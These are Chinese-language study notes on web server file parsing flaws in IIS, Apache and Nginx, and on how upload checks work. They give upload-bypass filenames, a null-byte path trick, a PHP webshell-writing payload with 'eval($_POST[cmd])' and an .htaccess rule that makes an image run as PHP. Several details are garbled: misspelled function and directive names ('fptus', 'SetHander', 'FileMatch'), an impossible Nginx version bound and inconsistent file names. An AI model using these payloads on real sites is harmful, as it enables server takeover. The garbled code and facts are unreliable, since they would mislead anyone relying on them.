文件解析漏洞
1.定义:解析漏洞主要说的是一些特殊文件被IIS、apache、Nginx在某种情况下解释成脚本文件格式的漏洞
2.IIS 6.0解析方法
第一种方法
目录解析
/xx.asp/xx.jpg
在网站下建立文件夹的名字为.asp、.asa的文件夹,其目录内的任何扩展名的文件都
被IIS当做是asp文件来解析执行。
例如创建目录cracer.asp,那么 /cracer.asp/1.jpg
将被当做是asp文件来执行。假设黑阔可以控制上传文件夹路径,那
就可以不管你上传后你的图片改不改名都能拿shell了
第二种方法
文件解析
cracer.asp;.jpg
第二种,在IIS 6.0下,分号后面的不被解析,也就是说cracer.asp;.jpg
会被服务器看成是wooyun.asp还有IIS 6.0默认的可执行文件除了asp还包含
三种
(1)/cracer.asa
(2)/cracer.cer
(3)/cracer.cdx
Apache解析漏洞
(1) Apache是从右往左开始判断解析
(2)任意不识别的后缀,逐级向上识别
例如:x.php.zzz
IIS 7.0/IIS 7.5 /Nginx <8.03畸形解析漏洞
(1)Nginx解析漏洞是我国安全组织80sec发现的FPTUS
(2)在默认Fast-CGI开启状况下,黑阔上传一个名字为cracer.jpg,
内容是<?php fptus(fopen('shell.php','W'),'<?php eval($_POST[cmd])?>');?>
的文件,然后访问carcer.jpg/.php,在这个目录下 会生成一句话木马shell.php
Nginx <8.03 空字节代码执行漏洞
(1)影响版本:0.5,0.6,0.7<=0.7.65,0.8<=0.8.37
(2)Nginx在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码
htaccess文件
如果在Apache中.htaccess可被执行。且可被上传,那就可以尝试在.htaccess中写入:
<FileMatch"shell.jpg">SetHander application/x-httpd-php </FileMatch>,然后再上传
shell.jpg的木马,这样shell.jpg就可以解析为php文件
上传检测流程:通常一个文件以HTTP协议进行上传时,将以POST请求发送至web服务器,
web服务器接收到请求后并同意后,用户与web服务器将建立连接,并传输data
服务器命名规则
(1)第一种类型:上传文件名和服务器命名一致
(2)第二种类型:上传文件名和服务器命名不一致(随机、时间日期命名等)
常见的上传检测方式
1.客户端javascript检测(通常为检测文件扩展名)
2.服务端MIME类型检测(检测Contet-Type 内容)
3.服务器目录路径检测(检测跟path参数相关的内容)
4.服务端文件扩展名检测(检测跟文件extension相关的内容)
5.服务端文件内容检测(检测内容是否合法或含有恶意代码)
持续学习中